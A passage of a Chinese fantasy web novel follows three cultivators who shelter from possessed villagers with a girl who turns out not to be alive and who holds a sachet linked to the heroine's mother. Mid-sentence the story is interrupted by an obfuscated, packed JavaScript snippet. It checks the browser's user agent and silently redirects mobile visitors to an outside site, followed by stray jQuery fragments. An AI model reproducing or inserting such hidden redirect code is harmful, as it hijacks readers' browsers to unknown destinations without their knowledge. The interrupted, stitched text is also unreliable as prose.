三人在湿滑的青石板上疾掠,身后是潮水般涌来的村民,一双双眼睛在昏暗天光下泛着空洞的死气,直勾勾盯着前方奔逃的猎物。
“寻一处空屋!”云微语速极快,目光扫过两旁紧闭的门扉。
南宫雅脚下泥水飞溅,口中犹不饶人:“这鬼地方,门怎么都封死了?”
恰在此时,一个细弱的童音突然传来:
“仙长,这边……快进来躲躲。”
云微脚步一顿,向右望去。
一道窄窄的门缝里,挤着一张小小的脸。不过七八岁年纪,枯黄的头发湿漉漉贴在额角脸颊,小脸瘦削脱形,衬得一双眼睛又大又黑,里面盛满了几乎要溢出来的惊惧。
她身上裹着一件明显过大、打满补丁的旧袄,空荡荡地挂着,露出的手腕细得仿佛一折就断。
念障笼罩的死地,生机断绝,怎会有如此幼小的活口独存?
还不等她开口,谢澜忱已如一道阴影挡在她身前,孤鸿剑寒光一闪,剑尖直指门缝:“活人早该死绝,你是什么东西?”
小女孩被剑锋所慑,猛一哆嗦,小脸煞白:“我…我叫遗妹…一直躲在地窖里…外面叔伯姨婶都…都变怪物了…”她惊恐后缩,却被门缝卡住,动弹不得。
身后,拖沓脚步声与嘶吼已近在咫尺。
“没时间了!”云微当机立断,声音清越,“我布阵护住这间屋子!你带阿雅先进去!”
话音未落,她双手结印,指尖灵力喷薄——
“嗡!”
一道巨大的金色符文自云微足下瞬间张开,向上向两侧急速蔓延,化作一面半透明的金色光幕,将巷口死死封住。
冲在最前面的十几个村民如同撞上了一堵无形的墙壁,被狠狠弹飞出去。
光幕出现的刹那,云微的脸色已肉眼可见地褪尽了血色,苍白得如同被雨水浸透的薄纸。
巨大的灵力被瞬间抽空,识海中传来针扎般的尖锐刺痛,四肢百骸的气力仿佛被瞬间抽干,眼前阵阵发黑,金星乱舞。
她身体不受控制地一晃,眼看就要向前栽倒。
一只骨节分明、带着凉意的手,猛地攥住了她的胳膊。
暖流顺着那只手强硬地灌入她几近枯竭的经脉,勉强吊住了她即将溃散的意识。
她借力站稳,抬眼便撞进一双近在咫尺、翻涌着复杂情绪的眸子里。
是谢澜忱。
他不知何时已到了她身侧,一手紧握孤鸿剑,剑尖斜指地面,警惕着光幕外疯狂扑击的傀儡。
另一只手,却死死抓着她的手臂,指尖用力得几乎要嵌进她的皮肉。
那个自诩“事不关己高高挂起”的少年,此刻薄唇抿成一条凌厉的直线,眼底翻涌着惊怒与一丝难以察觉的后怕。
他眉头紧蹙,声音又冷又硬:“逞强找死很痛快?是不是非要魂飞魄散才觉得对得起你这‘兼济天下’的虚名?”
他这话说得伤人,云微只觉胸中一股郁气猛地冲撞上来,她猛地一挣,狠狠甩开了他的手。
力道之大,让她自己又踉跄了一下。
云微反唇相讥:“我这样,总好过某些人,永远一副事不关己、冷眼旁观的嘴脸。天下苍生,在他眼里,怕是不如一粒尘埃。”
少年的脸色霎时阴沉下去,眸中寒意更盛:“你说得对,若非同生契捆着你我,我才不会管你的死活。”
“彼此彼此。”云微冷冷吐出四个字,再不看他,转身踏入小屋。
屋内光线极其昏暗,仅靠桌上一盏豆大的油灯摇曳。
浓重的霉味和一种衰败的死气弥漫在空气中。
墙壁斑驳,角落里堆着些破烂杂物。
南宫雅背靠着门板,听着小巷里沉闷的撞击声,对着云微低声道:“你们两个冤家,逃命都不忘斗嘴?力气多得没处使是吧?”
阿雅担忧不假,但此刻心神需全系于“遗妹”身上。
她此刻瑟缩在离门最远、也是唯一还算干燥的墙角,抱着膝盖,小小的身体蜷成一团,像一只受惊过度的小兽。
乌黑的大眼睛一会儿看看坐在椅上,气息不稳的云微,一会儿又看看倚着墙壁,脸色阴沉的谢澜忱,大气也不敢出。
少年扫视一圈,最终钉在遗妹身上,声音不带一丝温度:“你躲了多久?靠什么活?”
遗妹被他看得浑身一抖,小脸愈发惨白,下意识地往墙角缩得更紧,嘴唇哆嗦着,声音细若游丝:“有…有老鼠…还有…还有李婆婆以前偷偷塞给我的…一点点干饼…藏在地窖里…”她说话时,抱着膝盖的手臂不自然地收紧,似乎想把自己藏进墙缝里。
云微心中疑窦丛生,目光落在小女孩裸露在破旧袖口外的手腕和小臂上。
借着油灯微弱的光,那些纵横交错的旧伤疤,青紫的淤痕,甚至几道结了深褐色痂、狰狞的烫伤,清晰地暴露出来。
伤痕……遭受虐待的痕迹?
云微坐起身,拖着沉重虚软的身体,一步步走向墙角。
动作牵扯着枯竭的丹田,带来阵阵隐痛,眼前微眩,但她强忍着,在遗妹惊恐又茫然的目光中,缓缓蹲下身。
指尖带着一丝微弱却纯净的灵力,小心翼翼地、轻轻地抚上小女孩手臂上那道最为狰狞的烫伤旧疤。
微光如同温柔的泉水,缓缓渗入疤痕。
遗妹呆呆地看着,忘了害怕。
指尖触到疤痕的刹那,云微心头一紧。
指腹下的肌肤硬得像冻透的石块,别说脉搏,连一丝活气都探不到,唯有彻骨的冷,像攥着一块冰。
她默不作声地收回手,眉峰蹙得更紧。
这绝不是活人的温度。
念障之下,村民皆成傀儡,她一个孩子,体内为何会有阴寒之气流转?为何能独活?
云微垂眸掩去眸底冷意,此刻戳穿只会打草惊蛇,她指尖微动,敛去探查的灵力。
“姐姐,你…”遗妹呆呆地看着自己手臂上那道旧疤,在那柔和微光覆盖下,狰狞似乎平复了一丝,痛楚也减轻了。
她难以置信地抬头,看着眼前这个脸色白得像鬼、却有着一双温柔眼睛的神仙姐姐。
“你做什么!”谢澜忱三步并作两步,一把扯开两人,眼神冰冷地睨着云微,“从前在归云宗高高在上,看谁都像蝼蚁。怎么,如今虎落平阳,倒装起活佛济世了?自己魂魄都稳不住,还有闲心管她这点皮肉伤?”他越说越气,那股莫名的烦躁几乎要冲破胸膛。
云微被他猛地拉起,身形踉跄了半步才稳住,抬眼时眸底已凝起一层薄冰,故作嫌恶地甩开他的手,语气里带着被惊扰的冷硬:“这伤,我看在眼里,便在我心上。我救,是为安我自己的心。”
谢澜忱的手僵在半空,指腹还残留着方才触到的微凉触感。
他垂眸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854859|175868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞥了眼自己被甩开的手,睫毛阴影里飞快掠过一丝错愕,随即被更深的讥诮覆盖。
“你嫌弃我?”他嗤笑一声,指尖在袖摆上若无其事地蹭了蹭,仿佛真沾上了什么污秽,“你以为这般作态,我便会信你是真心救人?”
他这多疑的性子倒是半点未改,眼下她正是套话的关键,岂能被他搅了局?
算了,让他误会便误会吧,总好过打草惊蛇。
云微不打算搭理他,轻轻抚了抚遗妹枯黄的发顶,语气放得平和:“别怕,告诉姐姐,你家里…还有别人吗?爹娘呢?”
提到“爹娘”,遗妹小小的身体猛地一僵,飞快低下头,把脸埋进膝盖里,肩膀抑制不住地微微耸动。
过了片刻,闷闷的、带着浓重鼻音的声音才传出来:“没…没有了…爹…爹和娘…都不在了…”
“那…你一个人,靠那点干饼…”南宫雅忍不住插话,眉头紧锁,“怎么熬过来的?还有,外面那些人…都成了那样,”她指了指门外沉闷的撞击声,“你怎么没事?”
这个问题尖锐而关键。
遗妹的身体抖得更厉害了,慌乱地在破旧袄子的内袋里摸索着,掏出一个东西。
那是一个小小的香囊,布料早已褪色发黄,边角磨损得厉害,针脚却异常细密精致,绣着一丛歪歪扭扭的兰草。
香囊干瘪,里面的香料显然早已散尽,只余下一点若有若无的草木清气。
“是…是这个…”遗妹的声音带着哭腔,紧紧攥着那小小的香囊,仿佛抓着救命稻草,“娘…娘说…是二十年前…一位路过这里的仙长给的…说能…能辟邪…保佑平安…我一直…一直贴身带着…”她抬起泪眼,望向云微,带着懵懂的希冀,“仙长姐姐…这个…真的有用…对不对?所以…所以我没事…”
香囊?辟邪?此地念障凶戾,绝非区区一个旧香囊能抵挡。
而且这香囊上绣的兰草,针脚手法竟与她母亲极为相似。
太多疑问缠绕在云微心头:这小女孩既非活人,又持有母亲相关之物,背后定然藏着秘密。
事关母亲,她必须避开另外两人,单独问个清楚。
母亲的身世与死因一直是她心底深藏的疑团。谢澜忱身为父亲义子,立场本就微妙,难保不会将此事泄露;阿雅虽与她亲近,性子却太过直率,藏不住半分秘密。
此事牵连甚广,绝不可贸然让他们二人知晓。
思及于此,云微右手并指如剑,并非为了攻击,而是凌空疾划。
一道细微的银线随着她指尖游走,竟在遗妹身周丈许之地,悄然划出一个独立的结界。
这结界看似无形,却能将所有声音尽数隔绝,使外面的两人无论如何也无法窥探到里面的动静。
此刻,这片小小的空间里,只剩下她与遗妹两人。
与此同时,云微左手探出,在遗妹尚未反应过来的瞬间,已死死扣住她细瘦冰凉的手腕。
那触感僵硬如枯木,毫无活人的温热与弹性,指尖甚至能摸到皮下突兀的骨节。
遗妹浑身一颤,下意识地挣扎,却发现眼前这看似虚弱的女人力道竟如此之大,令她动弹不得。
云微微微俯身,她苍白的脸上没有任何表情,只有那双眼睛,亮得惊人。
“好了,现在没有旁人打扰了。”
“告诉我,你是谁?为什么会有我母亲的香囊?”